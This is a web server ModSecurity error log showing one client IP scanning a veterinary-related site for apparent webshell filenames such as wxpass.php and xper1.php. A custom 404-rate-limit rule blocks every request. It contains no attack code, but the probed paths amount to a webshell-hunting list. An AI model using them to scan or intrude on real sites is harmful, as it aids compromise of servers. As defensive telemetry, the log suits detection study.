[Tue Apr 14 00:24:33.707466 2026] [:error] [pid 63311:tid 63385] [client 40.89.166.87:33239] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Ipv6.php"] [unique_id "ad0YwaHjrGN1MqBCVFk9kAAAAI4"]
[Tue Apr 14 00:24:44.587092 2026] [:error] [pid 63311:tid 63375] [client 40.89.166.87:28583] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file-gertdxz.php"] [unique_id "ad0YzKHjrGN1MqBCVFk9mgAAAIQ"]
[Tue Apr 14 00:24:50.936039 2026] [:error] [pid 9314:tid 9323] [client 40.89.166.87:2247] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file-gertdxz.php"] [unique_id "ad0Y0m_r4W8fX2GWyGR2SgAAAYc"]
[Tue Apr 14 00:24:54.913294 2026] [:error] [pid 7228:tid 7240] [client 40.89.166.87:28053] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file-gertdxz.php"] [unique_id "ad0Y1gEnn1dQrOSHHNXcYgAAAQo"]
[Tue Apr 14 00:24:57.238595 2026] [:error] [pid 7228:tid 7254] [client 40.89.166.87:2432] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file-gertdxz.php"] [unique_id "ad0Y2QEnn1dQrOSHHNXcZwAAARg"]
[Tue Apr 14 00:24:58.179060 2026] [:error] [pid 7228:tid 7231] [client 40.89.166.87:2975] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "ad0Y2gEnn1dQrOSHHNXcaAAAAQE"]
[Tue Apr 14 00:24:58.816384 2026] [:error] [pid 63406:tid 63418] [client 40.89.166.87:2592] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "ad0Y2rHZEIkQ0Zmgp5pPYAAAAMc"]
[Tue Apr 14 00:25:06.393872 2026] [:error] [pid 57183:tid 57209] [client 40.89.166.87:3040] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "ad0Y4jDO3t8R5NaxzYS17QAAAVg"]
[Tue Apr 14 00:25:07.824536 2026] [:error] [pid 9314:tid 9335] [client 40.89.166.87:49668] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "ad0Y42_r4W8fX2GWyGR2WwAAAZM"]
[Tue Apr 14 00:25:08.716411 2026] [:error] [pid 7228:tid 7237] [client 40.89.166.87:36677] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "ad0Y5AEnn1dQrOSHHNXcdQAAAQc"]
[Tue Apr 14 00:25:09.754106 2026] [:error] [pid 9314:tid 9338] [client 40.89.166.87:35620] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "ad0Y5W_r4W8fX2GWyGR2XQAAAZY"]
[Tue Apr 14 00:25:11.283186 2026] [:error] [pid 63406:tid 63425] [client 40.89.166.87:42604] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "ad0Y57HZEIkQ0Zmgp5pPfQAAAM4"]
[Tue Apr 14 00:25:12.241097 2026] [:error] [pid 63311:tid 63389] [client 40.89.166.87:27191] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "ad0Y6KHjrGN1MqBCVFk9rAAAAJI"]
[Tue Apr 14 00:25:13.522738 2026] [:error] [pid 63406:tid 63422] [client 40.89.166.87:25570] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wglum1.php"] [unique_id "ad0Y6bHZEIkQ0Zmgp5pPgAAAAMs"]
[Tue Apr 14 00:25:14.847728 2026] [:error] [pid 63406:tid 63423] [client 40.89.166.87:23413] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wglum1.php"] [unique_id "ad0Y6rHZEIkQ0Zmgp5pPhAAAAMw"]
[Tue Apr 14 00:25:15.654126 2026] [:error] [pid 9314:tid 9331] [client 40.89.166.87:37091] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wglum1.php"] [unique_id "ad0Y62_r4W8fX2GWyGR2ZAAAAY8"]
[Tue Apr 14 00:25:16.611273 2026] [:error] [pid 63406:tid 63433] [client 40.89.166.87:32817] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wglum1.php"] [unique_id "ad0Y7LHZEIkQ0Zmgp5pPjAAAANY"]
[Tue Apr 14 00:25:18.015200 2026] [:error] [pid 63406:tid 63425] [client 40.89.166.87:37544] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "ad0Y7rHZEIkQ0Zmgp5pPkAAAAM4"]
[Tue Apr 14 00:25:18.986411 2026] [:error] [pid 63406:tid 63423] [client 40.89.166.87:43212] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "ad0Y7rHZEIkQ0Zmgp5pPlQAAAMw"]
[Tue Apr 14 00:25:31.455566 2026] [:error] [pid 63311:tid 63374] [client 40.89.166.87:26715] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "ad0Y-6HjrGN1MqBCVFk9tgAAAIM"]
[Tue Apr 14 00:25:32.575541 2026] [:error] [pid 7228:tid 7237] [client 40.89.166.87:21340] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper.php"] [unique_id "ad0Y_AEnn1dQrOSHHNXcjwAAAQc"]
[Tue Apr 14 00:25:33.608400 2026] [:error] [pid 57183:tid 57196] [client 40.89.166.87:34416] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper.php"] [unique_id "ad0Y_TDO3t8R5NaxzYS2MQAAAUs"]
[Tue Apr 14 00:25:39.508951 2026] [:error] [pid 63310:tid 63363] [client 40.89.166.87:2343] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper.php"] [unique_id "ad0ZA3oXpRU5ztmwPjKHjgAAAFM"]
[Tue Apr 14 00:25:40.802905 2026] [:error] [pid 57183:tid 57209] [client 40.89.166.87:24612] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper.php"] [unique_id "ad0ZBDDO3t8R5NaxzYS2RQAAAVg"]
[Tue Apr 14 00:25:42.539340 2026] [:error] [pid 63311:tid 63388] [client 40.89.166.87:34058] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wxpass.php"] [unique_id "ad0ZBqHjrGN1MqBCVFk9wgAAAJE"]
[Tue Apr 14 00:25:44.365487 2026] [:error] [pid 9314:tid 9338] [client 40.89.166.87:34083] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wxpass.php"] [unique_id "ad0ZCG_r4W8fX2GWyGR2mAAAAZY"]
[Tue Apr 14 00:25:47.176660 2026] [:error] [pid 57183:tid 57204] [client 40.89.166.87:57379] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wxpass.php"] [unique_id "ad0ZCzDO3t8R5NaxzYS2TgAAAVM"]
[Tue Apr 14 00:25:50.428225 2026] [:error] [pid 63406:tid 63421] [client 40.89.166.87:21995] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wxpass.php"] [unique_id "ad0ZDrHZEIkQ0Zmgp5pPxwAAAMo"]
[Tue Apr 14 00:25:54.384409 2026] [:error] [pid 63406:tid 63432] [client 40.89.166.87:40515] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/000.php"] [unique_id "ad0ZErHZEIkQ0Zmgp5pPzAAAANU"]
[Tue Apr 14 00:25:57.404853 2026] [:error] [pid 7228:tid 7233] [client 40.89.166.87:35551] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/000.php"] [unique_id "ad0ZFQEnn1dQrOSHHNXcpQAAAQM"]
[Tue Apr 14 00:25:58.542907 2026] [:error] [pid 7228:tid 7241] [client 40.89.166.87:34412] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/000.php"] [unique_id "ad0ZFgEnn1dQrOSHHNXcqgAAAQs"]
[Tue Apr 14 00:26:07.276097 2026] [:error] [pid 7228:tid 7242] [client 40.89.166.87:34421] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config.php"] [unique_id "ad0ZHwEnn1dQrOSHHNXcyQAAAQw"]
[Tue Apr 14 00:26:08.212521 2026] [:error] [pid 7228:tid 7248] [client 40.89.166.87:32776] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config.php"] [unique_id "ad0ZIAEnn1dQrOSHHNXc0AAAARI"]
[Tue Apr 14 00:26:12.255445 2026] [:error] [pid 63311:tid 63393] [client 40.89.166.87:29769] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config.php"] [unique_id "ad0ZJKHjrGN1MqBCVFk95AAAAJY"]
[Tue Apr 14 00:26:13.938462 2026] [:error] [pid 7228:tid 7241] [client 40.89.166.87:25645] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config.php"] [unique_id "ad0ZJQEnn1dQrOSHHNXc1AAAAQs"]
[Tue Apr 14 00:26:18.573500 2026] [:error] [pid 63310:tid 63345] [client 40.89.166.87:29068] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x3x.php"] [unique_id "ad0ZKnoXpRU5ztmwPjKHpgAAAEE"]
[Tue Apr 14 00:26:19.332617 2026] [:error] [pid 7228:tid 7231] [client 40.89.166.87:30642] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x3x.php"] [unique_id "ad0ZKwEnn1dQrOSHHNXc4wAAAQE"]
[Tue Apr 14 00:26:21.073374 2026] [:error] [pid 63310:tid 63348] [client 40.89.166.87:26801] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x3x.php"] [unique_id "ad0ZLXoXpRU5ztmwPjKHqQAAAEQ"]
[Tue Apr 14 00:26:22.973454 2026] [:error] [pid 7228:tid 7236] [client 40.89.166.87:29808] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x3x.php"] [unique_id "ad0ZLgEnn1dQrOSHHNXc6wAAAQY"]
[Tue Apr 14 00:26:25.860180 2026] [:error] [pid 9314:tid 9319] [client 40.89.166.87:29476] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xy.php"] [unique_id "ad0ZMW_r4W8fX2GWyGR2uQAAAYM"]
[Tue Apr 14 00:26:37.718194 2026] [:error] [pid 57183:tid 57185] [client 40.89.166.87:40920] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xy.php"] [unique_id "ad0ZPTDO3t8R5NaxzYS2lgAAAUA"]
[Tue Apr 14 00:26:55.971888 2026] [:error] [pid 63311:tid 63388] [client 40.89.166.87:24203] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "ad0ZT6HjrGN1MqBCVFk9-wAAAJE"]
[Tue Apr 14 00:26:56.749632 2026] [:error] [pid 9314:tid 9339] [client 40.89.166.87:31687] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "ad0ZUG_r4W8fX2GWyGR27gAAAZc"]
[Tue Apr 14 00:26:59.306123 2026] [:error] [pid 7228:tid 7249] [client 40.89.166.87:31696] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "ad0ZUwEnn1dQrOSHHNXdIQAAARM"]
[Tue Apr 14 00:27:01.572351 2026] [:error] [pid 63406:tid 63416] [client 40.89.166.87:58637] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "ad0ZVbHZEIkQ0Zmgp5pQdAAAAMU"]
[Tue Apr 14 00:27:03.042535 2026] [:error] [pid 63311:tid 63387] [client 40.89.166.87:31685] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "ad0ZV6HjrGN1MqBCVFk-BgAAAJA"]
[Tue Apr 14 00:27:04.036789 2026] [:error] [pid 63311:tid 63376] [client 40.89.166.87:27544] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "ad0ZWKHjrGN1MqBCVFk-CgAAAIU"]
[Tue Apr 14 00:27:05.067839 2026] [:error] [pid 63311:tid 63374] [client 40.89.166.87:58727] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "ad0ZWaHjrGN1MqBCVFk-DAAAAIM"]
[Tue Apr 14 00:27:07.664215 2026] [:error] [pid 63406:tid 63429] [client 40.89.166.87:36345] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "ad0ZW7HZEIkQ0Zmgp5pQiAAAANI"]
[Tue Apr 14 00:27:08.830817 2026] [:error] [pid 63406:tid 63434] [client 40.89.166.87:37814] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "ad0ZXLHZEIkQ0Zmgp5pQjwAAANc"]
[Tue Apr 14 00:27:09.902911 2026] [:error] [pid 7228:tid 7248] [client 40.89.166.87:2717] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "ad0ZXQEnn1dQrOSHHNXdMAAAARI"]
[Tue Apr 14 00:27:15.278855 2026] [:error] [pid 63406:tid 63421] [client 40.89.166.87:58738] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "ad0ZY7HZEIkQ0Zmgp5pQtQAAAMo"]
[Tue Apr 14 00:27:19.458675 2026] [:error] [pid 57183:tid 57201] [client 40.89.166.87:38148] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "ad0ZZzDO3t8R5NaxzYS29AAAAVA"]
[Tue Apr 14 00:27:20.715171 2026] [:error] [pid 63310:tid 63351] [client 40.89.166.87:58737] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-block.php"] [unique_id "ad0ZaHoXpRU5ztmwPjKH3gAAAEc"]
[Tue Apr 14 00:27:23.561653 2026] [:error] [pid 57183:tid 57190] [client 40.89.166.87:34025] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-block.php"] [unique_id "ad0ZazDO3t8R5NaxzYS3AQAAAUU"]
[Tue Apr 14 00:27:25.496959 2026] [:error] [pid 63311:tid 63382] [client 40.89.166.87:58721] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-block.php"] [unique_id "ad0ZbaHjrGN1MqBCVFk-JwAAAIs"]
